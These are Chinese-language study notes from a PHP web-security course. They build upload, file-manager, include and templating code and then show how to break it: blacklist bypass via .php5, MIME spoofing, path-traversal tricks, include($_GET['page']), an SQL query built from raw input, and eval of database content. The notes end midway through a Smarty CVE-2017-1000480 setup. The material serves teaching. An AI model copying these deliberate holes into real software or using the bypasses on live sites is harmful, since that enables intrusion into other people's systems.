if($_POST['username']=='admin' && $_POST['password']=='123456'){
echo '登录成功!';
// 输出管理员访问信息
echo '你是管理员可以访问文件管理页面!';
}else{
echo '登录失败!';
}
}
?>

知识总结:

​ token是防御csrf的有效方式,但是在小迪安全课程中,介绍到也是防止暴力破解的措施,这一点可能有所欠妥,使用burp中的inruder模块的”定义提取grep项目”功能既可以实现抓取token,从而实现暴力破解

用户身份验证
Token 最常见的用途是进行用户身份验证。例如,当用户登录时,服务器通过验证用户名和密码,生成一个 Token,返回给客户端。在之后的请求中,客户端将该 Token 附加到请求中,服务器通过验证 Token 确认用户身份,并授权访问相关资源。

授权控制
Token 不仅包含身份信息,还可以包含关于用户角色、权限等信息。因此,服务器可以根据 Token 中的数据来判断用户是否有权访问某些资源。例如,后台管理系统可能基于 Token 中的角色信息来决定用户是否有权限访问管理页面或执行管理操作。

防止跨站请求伪造(CSRF)
传统的基于 Cookie 的身份认证机制容易受到 CSRF(跨站请求伪造)攻击,因为攻击者可以诱导用户访问恶意网站,从而利用用户的身份信息发起请求。而 Token 认证通过将身份信息存储在客户端,并通过 HTTP 请求头传递(而非通过 Cookie),从而有效防止了 CSRF 攻击。

跨域认证
在现代的前后端分离架构中,前端和后端通常分布在不同的域名下。Token 认证非常适合跨域认证,因为 Token 是通过 HTTP 请求头传递的,不受浏览器的跨域限制。因此,Token 机制可以方便地用于跨域认证。

第三天

PHP应用&文件管理模块&显示上传&黑白名单类型过滤&访问控制

PHP文件管理-显示&上传功能实现

文件上传的过滤机制

1、无过滤机制
2、黑名单过滤机制
3、白名单过滤机制
4、文件类型过滤机制

PHP中接收文件信息方法

$_FILES:PHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。
$_FILES[“表单值”][“name”] 获取上传文件原始名称
$_FILES[“表单值”][“type”] 获取上传文件MIME类型
$_FILES[“表单值”][“size”] 获取上传文件字节单位大小
$_FILES[“表单值”][“tmp_name”] 获取上传的临时副本文件名
$_FILES[“表单值”][“error”] 获取上传时发生的错误代码
move_uploaded_file() 将上传的文件移动到指定位置的函数

文件上传功能实现

创建upload.php和upload.html

upload.html

1
2
3
4
5
6
7
8
9
10
11
12
<!-- 提交表单到 "upload.php",使用 POST 方法,并启用文件上传功能 -->
<form action="upload.php" method="POST" enctype="multipart/form-data">
<!-- 用于标识上传文件的标签 -->
<label for="file">选择文件:</label>
<br>
<!-- 文件输入框,允许用户选择要上传的文件 -->
<input type="file" id="file" name="f">
<br>
<!-- 提交按钮,触发文件上传操作 -->
<button type="submit">上传文件</button>
</form>

注意:**enctype="multipart/form-data"** 告诉服务器,表单中包含了文件上传的数据,并且服务器需要以二进制格式解析这些数据。这样可以确保文件等二进制数据能够正确地传输到服务器

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

// 从上传文件数组中获取文件名
$name = $_FILES['f']['name'];
// 从上传文件数组中获取文件类型
$type = $_FILES['f']['type'];
// 从上传文件数组中获取文件大小
$size = $_FILES['f']['size'];
// 从上传文件数组中获取临时文件名
$tmp_name = $_FILES['f']['tmp_name'];
// 从上传文件数组中获取错误码
$error = $_FILES['f']['error'];

// 输出文件名
echo $name . "<br>";
// 输出文件类型
echo $type . "<br>";
// 输出文件大小
echo $size . "<br>";
// 输出临时文件名
echo $tmp_name . "<br>";
// 输出错误码
echo $error . "<br>";
// 如果成功将临时文件移动到指定目录,则输出文件上传成功
if (move_uploaded_file($tmp_name, 'upload/' . $name)) {
echo "文件上传成功!";
}
?>

image-20250515200904334

黑名单过滤机制

  • 使用 explode 函数通过点号分割文件名,获取文件后缀
  • 使用 end 函数获取数组中的最后一个元素,即文件后缀
  • 检查文件后缀是否在黑名单中
    • 如果文件后缀在黑名单中,输出非法后缀文件信息
    • 如果文件后缀不在黑名单中,移动上传的文件到指定目录
    • 输出上传成功的提示信息

实现机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 上传文件后缀过滤,使用黑名单机制
$black_ext = array('php', 'asp', 'jsp', 'aspx');
// 使用 explode 函数通过点号分割文件名,获取文件后缀
$fenge = explode('.', $name);
// 使用 end 函数获取数组中的最后一个元素,即文件后缀
$exts = end($fenge);
// 检查文件后缀是否在黑名单中
if (in_array($exts, $black_ext)) {
// 如果文件后缀在黑名单中,输出非法后缀文件信息
echo '非法后缀文件' . $exts;
} else {
// 如果文件后缀不在黑名单中,移动上传的文件到指定目录
move_uploaded_file($tmp_name, 'upload/' . $name);
// 输出上传成功的提示信息
echo "<script>alert('上传成功!')</script>";
}
?>

上传.php文件进行测试

image-20250515201448007

问题:如果过滤机制的后缀名没有考虑其他限制如**.php5之类的,还是可以进行绕过黑名单正常进行上传和下载**

image-20250515201705008

白名单过滤机制

限制只允许上传的后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//白名单过滤机制
// 允许上传的文件后缀白名单
$allow_ext = array('png', 'jpg', 'gif', 'jpeg');
// 使用 explode 函数通过点号分割文件名,获取文件后缀
$fenge = explode('.', $name);
// 使用 end 函数获取数组中的最后一个元素,即文件后缀
$exts = end($fenge);
// 检查文件后缀是否在允许的白名单中
if (!in_array($exts, $allow_ext)) {
// 如果文件后缀不在白名单中,输出非法后缀文件信息
echo '非法后缀文件' . $exts;
} else {
// 如果文件后缀在白名单中,移动上传的文件到指定目录
move_uploaded_file($tmp_name, 'upload/' . $name);
// 输出上传成功的提示信息
echo "<script>alert('上传成功!')</script>";
}

尝试上传PHP5文件

image-20250515201834156

文件类型过滤机制

通过检测MIME机制来确认文件类型

MIME:MIME 类型 | 菜鸟教程

  • 如果是图片在抓包内容Content-Type: image/png
  • 如果是exe文件抓包内容Content-Type: application/x-msdownload

实现方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//MIME文件类型过滤
// 允许上传的文件 MIME 类型白名单
$allow_type = array('image/png', 'image/jpg', 'image/jpeg', 'image/gif');
// 检查文件 MIME 类型是否在允许的白名单中
if (!in_array($type, $allow_type)) {
// 如果文件 MIME 类型不在白名单中,输出非法文件类型信息
echo '非法文件类型';
} else {
// 如果文件 MIME 类型在白名单中,移动上传的文件到指定目录
move_uploaded_file($tmp_name, 'upload/' . $name);
// 输出上传成功的提示信息
echo '<script>alert("上传成功")</script>';
}

问题:通过修改MIME值是否能绕过文件类型绕过呢?

image-20250515202133192

image-20250515202219355

文件管理模块-显示-过滤机制

功能实现

功能:显示 上传 下载 删除 编辑 包含等
1.打开目录读取文件列表
2.递归循环读取文件列表
3.判断是文件还是文件夹
4.PHP.INI目录访问控制

php相关函数及区别

is_dir() 函数用于检查指定的路径是否是一个目录(文件夹)
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录

opendir() 函数

  • opendir() 用于打开一个目录句柄(directory handle)。
  • 接受一个参数,即要打开的目录的路径。
  • 返回一个目录句柄,该句柄可以用于后续对目录的操作。
  • 通常与 closedir() 配合使用,用于关闭目录句柄。

readdir() 函数

  • readdir() 用于读取目录句柄中的条目。
  • 接受一个参数,即之前使用 opendir() 打开的目录句柄。
  • 在每次调用时,返回目录中的下一个文件或目录的名称。
  • 当没有更多的文件或目录时,返回 **false**。

使用示例

1
2
3
4
5
6
7
8
phpCopy code
$dir_handle = opendir('/path/to/directory');

while (($file = readdir($dir_handle)) !== false) {
echo $file . '<br>';
}
closedir($dir_handle);

创建file-manage.php,实现功能

  • 打开目录读取文件列表
  • 递归循环读取文件列表
  • 判断是文件还是文件夹
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
// 获取要显示的目录,默认为当前目录
$dir = $_GET['path'] ?? './';

// 打开目录,读取文件列表 opendir
function filelist($dir){
// 判断目录是否存在
if ($dh = opendir($dir)) {
// 循环读取文件列表 while readdir
while (($file = readdir($dh)) !== false) {
// 判断是文件还是文件夹 is_dir
if (is_dir($dir . '/' . $file)) {
// 如果是文件夹,显示文件夹图标和链接
echo "<li><i class='fa fa-folder'></i> <a href='?path=$dir/$file'>" . $file . '</a></li>';
} else {
// 如果是文件,显示文件图标和链接
echo '<li><i class="fa fa-file"></i> <a href="#">' . $file . '</a></li>';
}
}
// 关闭目录句柄
closedir($dh);
}
}

// 调用函数显示目录文件列表
filelist($dir);
?>

while循环迭代目录中的每个条目。
readdir($dh)读取目录中的下一个条目。
循环继续,直到没有更多的条目(readdir返回false)。
在循环内部,
is_dir($dir . ‘/‘ . $file)检查当前目录项是否是一个目录,通过构建完整路径并使用is_dir
函数来判断。
条件通过使用斜杠(/)将目录路径($dir)与当前目录项($file)连接起来,形成完整的路径。

PHP.INI目录访问控制

未做任何处理前

  • 使用../或者**c:/**等操作可以访问到目标服务器的所有文件目录

image-20250515202828493

开启相关功能

phpstudy_pro\Extensions\php\php7.0.9nts

  • 在目标文件夹出设置访问控制的的权限:open_basedir =G:\develop\safety\phpstudy_pro\WWW 注意取消掉前面的封号才能启用该功能
  • 保存并重启小皮,发现WWW以外的目录均报错不能访问

image-20250515202934617

测试:

image-20250515203037421

如果配置../c:\进行过滤并不是安全的,通过..\..../这些方法仍可绕过

Untitled

第四天

PHP应用&文件管理&包含&写入&删除&下载&上传&遍历&安全

文件包含

PHP相关文件包含函数:

include() 在错误发生后脚本继续执行
require() 在错误发生后脚本停止执行
include_once() 如果已经包含,则不再执行
require_once() 如果已经包含,则不再执行

使用include() 和 require()语句可以将一个PHP文件中的代码包含在另一个PHP文件中。包含文件与从指定的文件复制脚本并将其粘贴到调用它的位置产生相同的结果。

image-20250516190709817

image-20250516190732593

安全问题:当使用include ($_GET['page']);可以通过改变路由访问的方式,将访问的文件当作php文件进行处理获取文件信息

image-20250516191259622

test.txt

image-20250516191328115

image-20250516191339813

文件上传

文件上传常用过滤机制

1、无过滤机制
2、黑名单过滤机制
3、白名单过滤机制
4、文件类型过滤机制

文件存储位置:

1、上传至服务器本身的存储磁盘(源码在一起)
2、云产品OSS存储:云存储服务,旨在提高访问速度 对象去存储文件(泄漏安全)
3、把文件上传到其他域名,如:www.xiaodi8.com->[upload.xiaodi8.com](http://upload.xiaodi8.com/)

注意:上传到OSS云产品,只用来存储数据,不会对代码执行。

img

1
2
3
4
5
6
7
8
$_FILES:PHP中一个预定义的超全局变量,用于在上传文件时从客户端接收文件,并将其保存到服务器上。它是一个包含上传文件信息的数组,包括文件名、类型、大小、临时文件名等信息。
$_FILES[“表单值”][“name”] 获取上传文件原始名称
$_FILES[“表单值”][“type”] 获取上传文件MIME类型
$_FILES[“表单值”][“size”] 获取上传文件字节单位大小
$_FILES[“表单值”][“tmp_name”] 获取上传的临时副本文件名
$_FILES[“表单值”][“error”] 获取上传时发生的错误代码
move_uploaded_file() 将上传的文件移动到指定位置的函数

文件显示

实现步骤

1.打开目录读取文件列表
2.递归循环读取文件列表
3.判断是文件还是文件夹
4.PHP.INI目录访问控制

相关php函数

is_dir() 函数用于检查指定的路径是否是一个目录
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
ini_set(‘open_basedir’,DIR); 设置配置文件中,只能访问本目录

具体实现

  • 首先创建文件filemanage.php,然后创建有关html页面,并从网上找文件夹和文件的图片,保存至新创建的img目录

    Untitled

    img

    在 PHP 中,readdir函数会返回目录中的下一个文件名,如果没有更多的文件,则返回false。因此,您的代码是在循环中读取目录中的文件名,直到readdir返回false为止。

    “!=”检查具有类型强制的不等式,而“!”检查没有类型强制的不等式,并检查类型是否相同。通常建议使用“!”进行严格比较,以避免意外的类型转换。

    ​ 如果是文件夹那么先走文件夹的循环遍历,到最后链接到打开按钮上,如果被触发提交GET表单,那么就会再次获取定义好的函数,并再次区分文件夹和文件,走循环

    ​ 遇到问题如果打开全都是文件的文件夹会报错:

    ​ **foreach循环尝试对一个无效的参数进行迭代。在你提供的代码中,这个警告可能是由于$list[‘dir’]或者$list[‘file’]**中的其中一个不是数组,或者根本不存在。

    解决:

    Untitled

    filemanager.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    <?php
    ini_set('open_basedir',__DIR__);
    $path=$_GET['path'] ?? './';
    $action = isset($_GET['a'])?$_GET['a']:'';
    $path = isset($_GET['path'])?$_GET['path']:'.';
    if(is_file($path))
    {
    //获得文件名
    $file = basename($path);
    //获得路径
    $path = dirname($path);
    }
    //判断,不是目录
    elseif(!is_dir($path))
    {
    echo '我只会吃瓜!';
    }
    function getlist($path){
    $hd=opendir($path);
    while(($file_name=readdir($hd) )!== false){
    if($file_name != '.' && $file_name != '..'){
    $file_path = "$path/$file_name";
    $file_type = filetype($file_path);
    }
    $list[$file_type][] = array( //$file_type = dir 和 file $list['dir'] 和 $list['file']
    'file_name'=>$file_name, //文件名存储键值file_name
    'file_path'=>$file_path, //文件路径存储键值file_path
    'file_size'=>round(filesize($file_path)/1024), //通过换算文件大小存储键值file_path
    'file_time'=>date('Y/m/d H:i:s',filemtime($file_path)), //获取文件时间并存储键值file_path
    );

    }
    closedir($hd);
    return $list;
    }

    $list=getlist($path);


    //接受方法 判断是怎么操作
    //echo $action;
    switch ($action){
    case 'del':
    unlink($file);
    //$cmd="del $file";
    //system($cmd);
    //echo $cmd;
    break;
    case 'down':
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"" . $file . "\"");
    header("Content-Length: " . filesize($file));
    readfile($file);
    break;
    case 'edit':
    $content=file_get_contents($file);
    echo '<form name="form1" method="post" action="">';
    echo "文件名:".$file."<br>";
    echo "文件内容:<br>";
    echo '<textarea name="code" style="resize:none;" rows="100" cols="100"">'.$content.'</textarea><br>';
    echo '<input type="submit" name="submit" id="submit" value="提交">';
    echo '</form>';
    break;
    }

    //检测编辑后提交的事件 进入文件重新写入
    if(isset($_POST['code'])){
    $f=fopen("$path/$file",'w+');
    fwrite($f,$_POST['code']);
    fclose($f);
    }




    ?>

    <table width="100%" style="font-size: 10px;text-align: center;">
    <tr>
    <th>图标</th>
    <th>名称</th>
    <th>日期</th>
    <th>大小</th>
    <th>路径</th>
    <th>操作</th>
    </tr>
    <?php foreach ($list['dir'] as $v): ?>
    <tr>
    <td><img src="./img/list.png" width="20" height="20"></td>
    <td><?php echo $v['file_name']?></td>
    <td><?php echo $v['file_time']?></td>
    <td>-</td>
    <td><?php echo $v['file_path']?></td>
    <td><a href="?path=<?php echo $v['file_path']?>">打开</a></td>
    </tr>
    <?php endforeach;?>

    <?php foreach ($list['file'] as $v): ?>
    <tr>
    <td><img src="./img/file.png" width="20" height="20"></td>
    <td><?php echo $v['file_name']?></td>
    <td><?php echo $v['file_time']?></td>
    <td><?php echo $v['file_size']?></td>
    <td><?php echo $v['file_path']?></td>
    <td>
    <a href="?a=edit&path=<?php echo $v['file_path']?>">编辑</a>
    <a href="?a=down&path=<?php echo $v['file_path']?>">下载</a>
    <a href="?a=del&path=<?php echo $v['file_path']?>">删除</a>
    </td>

    </tr>
    <?php endforeach;?>


    </table>

    文件删除

    unlink() 文件删除函数
    调用命令删除:system shell_exec exec等

    首先在html源码对于文件的循环处,增加删除文件的触发绑定,

    1
    2
    3
    4
    5
    <a href="?a=del&path=<?php echo $v['file_path']?>">delete</a>:

    生成一个"删除"链接,链接到删除文件的路径。
    当用户点击这个链接时,会向服务器发送一个请求,请求删除文件的操作。

    在php源码中完成文件删除的有关代码实现
    isset($_GET[‘a’]): 检查是否存在名为 a 的 URL 参数。
    ? $_GET[‘a’] : ‘’: 如果 a 参数存在,则将其值赋给 $action;如果不存在,则将 $action 赋为空字符串 ‘’。(三目运算符)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    这行代码是用于获取 URL 参数 a 的值,表示操作类型。具体解释如下:
    $action = isset($_GET['a']) ? $_GET['a'] : '';

    // 接受方法 判断是怎么操作
    switch ($action) {
    case 'del':
    // 如果操作类型是删除 ('del')
    unlink($file);
    // 使用 unlink 函数删除文件
    break;
    }

    Untitled

文件下载

修改HTTP头实现文件读取解析下载:

1
2
3
4
5
header("Content-Type: application/octet-stream");: 设置响应内容的类型为二进制流(binary stream)。这告诉浏览器,服务器将发送二进制数据,通常用于文件下载。
header("Content-Disposition: attachment; filename=\"" . basename($file) . "\"");: 设置浏览器提示下载,同时指定下载文件的名称。basename($file) 用于获取文件名。
header("Content-Length: " . filesize($file));: 设置响应内容的长度为文件大小。这有助于确保浏览器知道文件的总大小。
readfile($file);: 读取并输出文件内容。这将把文件的内容发送到浏览器。

这样,当用户访问包含这段代码的页面时,浏览器将接收到这些头信息,然后提示用户下载名为 $file 的文件。

  • 首先在html源码对于文件的循环处,增加删除文件的触发绑定,
1
2
3
4
<a href="?a=down&path=<?php echo $v['file_path']?>">下载</a>
**生成一个“下载”链接,链接到下载文件的路径。
当用户点击这个链接时,会向服务器发送一个请求,请求下载文件的操作。**

  • 在php源码中完成文件下载的有关代码实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//接受方法 判断是怎么操作
switch ($action){
case 'del':
unlink($file);
break;
case 'down':
header("Content-Type: application/octet-stream");
// 设置响应内容的类型为二进制流
header("Content-Disposition: attachment; filename=\"" . $file . "\"");
// 设置浏览器提示下载,并指定下载文件的名称(使用 $file 变量)
header("Content-Length: " . filesize($file));
// 设置响应内容的长度为文件大小
readfile($file);
// 读取并输出文件内容
break;
}
?>

image-20250516194547266

文件编辑

1、file_get_contents() 读取文件内容
2、fopen() fread() 文件打开读入

  • 首先在html源码对于文件的循环处,增加编辑文件的触发绑定
1
2
3
4
`<a href="?a=edit&path=<?php echo $v['file_path']?>">编辑</a>`:
**生成一个“编辑”链接,链接到编辑文件的路径。
当用户点击这个链接时,会向服务器发送一个请求,请求编辑文件的操作。**

在php源码中完成文件下载的有关代码实现

  • 完成switch编辑文章内容展现的部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
case 'edit':
$content = file_get_contents($file);
// 读取文件内容并存储在 $content 变量中

echo '<form name="form1" method="post" action="">';
// 输出表单的开始标签,使用 POST 方法提交到当前页面
echo "文件名:" . $file . "<br>";
// 输出文件名
echo "文件内容:<br>";
echo '<textarea name="code" style="resize:none;" rows="100" cols="100">' . $content . '</textarea><br>';
// 输出包含文件内容的文本区域
echo '<input type="submit" name="submit" id="submit" value="提交">';
// 输出提交按钮
echo '</form>';
// 输出表单的结束标签
break;

Untitled

完成触发编辑提交的按钮后,写入文件的源码

w+ 是 fopen 函数中用于打开文件的模式之一,表示以读写方式打开文件,并将文件指针指向文件的开头。如果文件不存在,则尝试创建文件。如果文件已存在,将截断文件内容(即清空文件),然后重新写入。

具体含义如下:

​ w: 以写入(write)方式打开文件。如果文件不存在,则尝试创建文件。如果文件已存在,则截断文件内容,即清空文件。
​ +: 以读取(read)方式打开文件。这个符号表示文件可同时进行读写操作。
组合在一起,w+ 表示以读写方式打开文件,文件指针指向文件的开头。在使用 w+ 模式打开文件后,你可以通过 fwrite 函数写入新的内容,同时通过 fread 函数读取文件内容。请注意,使用 w+ 模式打开文件时,原始文件内容会被清空。

1
2
3
4
5
6
7
8
9
10
11
if (isset($_POST['code'])) {
// 检查是否存在名为 'code' 的 POST 数据

$f = fopen("$path/$file", 'w+');
// 以读写方式打开文件,如果文件不存在则创建
fwrite($f, $_POST['code']);
// 将 POST 数据中 'code' 的内容写入文件
fclose($f);
// 关闭文件句柄,确保操作的文件被正确保存。
}

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
ini_set('open_basedir',__DIR__);
$path=$_GET['path'] ?? './';
$action = isset($_GET['a'])?$_GET['a']:'';
$path = isset($_GET['path'])?$_GET['path']:'.';
if(is_file($path))
{
//获得文件名
$file = basename($path);
//获得路径
$path = dirname($path);
}
//判断,不是目录
elseif(!is_dir($path))
{
echo '我只会吃瓜!';
}
function getlist($path){
$hd=opendir($path);
while(($file_name=readdir($hd) )!== false){
if($file_name != '.' && $file_name != '..'){
$file_path = "$path/$file_name";
$file_type = filetype($file_path);
}
$list[$file_type][] = array( //$file_type = dir 和 file $list['dir'] 和 $list['file']
'file_name'=>$file_name, //文件名存储键值file_name
'file_path'=>$file_path, //文件路径存储键值file_path
'file_size'=>round(filesize($file_path)/1024), //通过换算文件大小存储键值file_path
'file_time'=>date('Y/m/d H:i:s',filemtime($file_path)), //获取文件时间并存储键值file_path
);

}
closedir($hd);
return $list;
}

$list=getlist($path);


//接受方法 判断是怎么操作
//echo $action;
switch ($action){
case 'del':
unlink($file);
//$cmd="del $file";
//system($cmd);
//echo $cmd;
break;
case 'down':
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"" . $file . "\"");
header("Content-Length: " . filesize($file));
readfile($file);
break;
case 'edit':
$content=file_get_contents($file);
echo '<form name="form1" method="post" action="">';
echo "文件名:".$file."<br>";
echo "文件内容:<br>";
echo '<textarea name="code" style="resize:none;" rows="100" cols="100"">'.$content.'</textarea><br>';
echo '<input type="submit" name="submit" id="submit" value="提交">';
echo '</form>';
break;
}

//检测编辑后提交的事件 进入文件重新写入
if(isset($_POST['code'])){
$f=fopen("$path/$file",'w+');
fwrite($f,$_POST['code']);
fclose($f);
}




?>

<table width="100%" style="font-size: 10px;text-align: center;">
<tr>
<th>图标</th>
<th>名称</th>
<th>日期</th>
<th>大小</th>
<th>路径</th>
<th>操作</th>
</tr>
<?php foreach ($list['dir'] as $v): ?>
<tr>
<td><img src="./img/list.png" width="20" height="20"></td>
<td><?php echo $v['file_name']?></td>
<td><?php echo $v['file_time']?></td>
<td>-</td>
<td><?php echo $v['file_path']?></td>
<td><a href="?path=<?php echo $v['file_path']?>">打开</a></td>
</tr>
<?php endforeach;?>

<?php foreach ($list['file'] as $v): ?>
<tr>
<td><img src="./img/file.png" width="20" height="20"></td>
<td><?php echo $v['file_name']?></td>
<td><?php echo $v['file_time']?></td>
<td><?php echo $v['file_size']?></td>
<td><?php echo $v['file_path']?></td>
<td>
<a href="?a=edit&path=<?php echo $v['file_path']?>">编辑</a>
<a href="?a=down&path=<?php echo $v['file_path']?>">下载</a>
<a href="?a=del&path=<?php echo $v['file_path']?>">删除</a>
</td>

</tr>
<?php endforeach;?>


</table>

防御机制

open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
ini_set(‘open_basedir’,__DIR__); 设置配置文件中,只能访问本目录

1
2
3
ini_set('open_basedir', __DIR__);: 使用 ini_set 函数设置 PHP 配置项。
'open_basedir': 是要设置的配置项,它规定了允许访问的文件和目录的根路径。
__DIR__: 这是一个 PHP 预定义常量,表示当前脚本所在的目录。在这里,open_basedir 被设置为当前脚本所在的目录,即只允许 PHP 脚本访问当前目录及其子目录下的文件和目录。

通过设置 open_basedir,你可以限制 PHP 脚本只能访问指定路径下的文件和目录,以增强安全性。在这个例子中,open_basedir 被设置为当前脚本所在的目录,这意味着 PHP 脚本只能访问当前目录及其子目录下的文件和目录,而不能越过这个限制。

  • 解决方式:
    • 在代码中设置ini_set(‘open_basedir’,__DIR__);、
    • open_basedir:PHP.INI中的设置用来控制脚本程序访问目录

第五天

PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全

数据库操作读取显示

操作步骤

1、数据库创建新闻存储
2、代码连接数据库读取
3、页面进行自定义显示

1、创建新闻所需要的存储库

打开数据库创建新的新闻数据库(new)

​ 创建字段名(id title author content image)

​ 给数据库(new)写入新数据 image写保存好的图片路径即可

Untitled

Untitled

2、输入相关简单代码,能把数据库中的资料显示出来看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
// 包含数据库配置文件
include 'config.php';

// 从GET请求中获取id参数,如果不存在则默认为1
$id = $_GET['id'] ?? '1';

// 构建SQL查询语句
$sql = "select * from new where id=$id";

// 执行查询并获取结果集
$data = mysqli_query($con, $sql);

// 使用mysqli_fetch_row遍历结果集的每一行
while ($row = mysqli_fetch_row($data)) {
// 输出标题,注意:mysqli_fetch_row返回的是枚举数组,索引从0开始
echo "标题: <title>" . $row[1] . "</title><br>";

// 输出第二列数据
echo $row[2] . "<br>";

// 输出第三列数据
echo $row[3] . "<br>";

// 输出图片,注意:在HTML中使用$row[4]作为图片路径
echo "<img src='$row[4]' width='300' height='300'></img><br>";
}

// 关闭数据库连接
mysqli_close($con);
?>

Untitled

实现模板引用

1、页面显示样式编排
2、显示数据插入页面
3、引用模版调用触发

1、创建new.html前端模板代码

Untitled

创建新的数据库news

Untitled

改变以下源代码,将数据库中的元素 ,替换为使用html渲染,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 从文件中读取HTML模板内容
$template = file_get_contents('new.html');

// 使用mysqli_fetch_row遍历结果集的每一行
while ($row = mysqli_fetch_row($data)) {
// 从结果集中获取每一列的值,并存储到相应的变量中
$page_title = $row[1];
$heading = $row[2];
$subheading = $row[3];
$content = $row[4];
$item = $row[5];
}

// 替换HTML模板中的占位符
$template = str_replace('{page_title}', $page_title, $template);
$template = str_replace('{heading}', $subheading, $template);
$template = str_replace('{subheading}', $subheading, $template);
$template = str_replace('{content}', $content, $template);
$template = str_replace('{$item}', $item, $template);

// 将PHP代码嵌入HTML模板中并执行
eval('?>' . $template);

// 关闭数据库连接
mysqli_close($con);

Untitled

安全问题

如果在数据库中任何地方添加<?php phpinfo();?> ,在调用数据库内容的时候会自动显示

Untitled

Untitled

<?php phpinfo(); ?> 这段代码用于显示关于服务器 PHP 配置的详细信息。虽然 phpinfo() 是一个对开发人员有用的函数,可以获取有关 PHP 环境的信息,但在生产环境中应谨慎使用。

​ 安全风险: 显示详细的 PHP 信息可能透露有关服务器配置的敏感信息,包括 PHP 版本、扩展和路径。攻击者可以利用这些信息来识别潜在的漏洞。
​ 信息泄露: 在生产环境中,显示详细的 PHP 信息是不推荐的,因为存在信息泄露的风险。攻击者可能利用这些信息更好地了解服务器的设置并识别潜在的攻击点。
​ 服务器加固: 安全最佳实践涉及将服务器信息的暴露最小化,以减少攻击面。应该限制不必要的服务器环境信息,以降低攻击表面。

Smarty模版引用

下载:https://github.com/smarty-php/smarty/releases

使用:
1、创建一个文件夹,命名为smarty
2、下载Smarty对应版本并解压缩到该文件夹中。
3、创建一个PHP文件,命名为index.php,并在文件中添加以下代码:

配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// 引入 Smarty 类文件
require('smarty/libs/Smarty.class.php');

// 创建 Smarty 实例
$smarty = new Smarty;

// 设置 Smarty 相关属性
**$smarty->template_dir = 'smarty/templates/'; // 设置模板文件的目录**
$smarty->compile_dir = 'smarty/templates_c/'; // 设置编译文件的目录
$smarty->cache_dir = 'smarty/cache/'; // 设置缓存文件的目录
$smarty->config_dir = 'smarty/configs/'; // 设置配置文件的目录

// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty'); // 将变量 'title' 赋值为 '欢迎使用 Smarty'

// 显示模板
$smarty->display('index.tpl'); // 使用 'index.tpl' 模板文件进行显示
?>

4、在smarty相关目录下创建smarty/templates/ 并在目录下创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>

Untitled

安全性:在相关模板内容下加入<?php phpinfo();?> ,但是发现不能泄露

Untitled

Smarty3模版引用-有对应漏洞

Smarty <= 3.1.32 Remote Code execution(CVE-2017-1000480) - magic_zero - 博客园 (cnblogs.com)

使用:
1、创建一个文件夹,命名为smarty3
2、下载Smarty对应版本并解压缩到该文件夹中。
3、创建一个PHP文件,命名为index1.php,并在文件中添加以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__));

**define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR . '/smarty3/tmp/templates_c');

define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR . '/smarty3/tmp/cache');

include_once(SMARTY_ROOT_DIR . '/smarty3/libs/Smarty.class.php');**

class testSmarty extends Smarty_Resource_Custom
{
protected function fetch($name, &$source, &$mtime)
{
$template = "CVE-2017-1000480 smarty PHP code injection";
$source = $template;
$mtime = time();
}
}

$smarty = new Smarty();
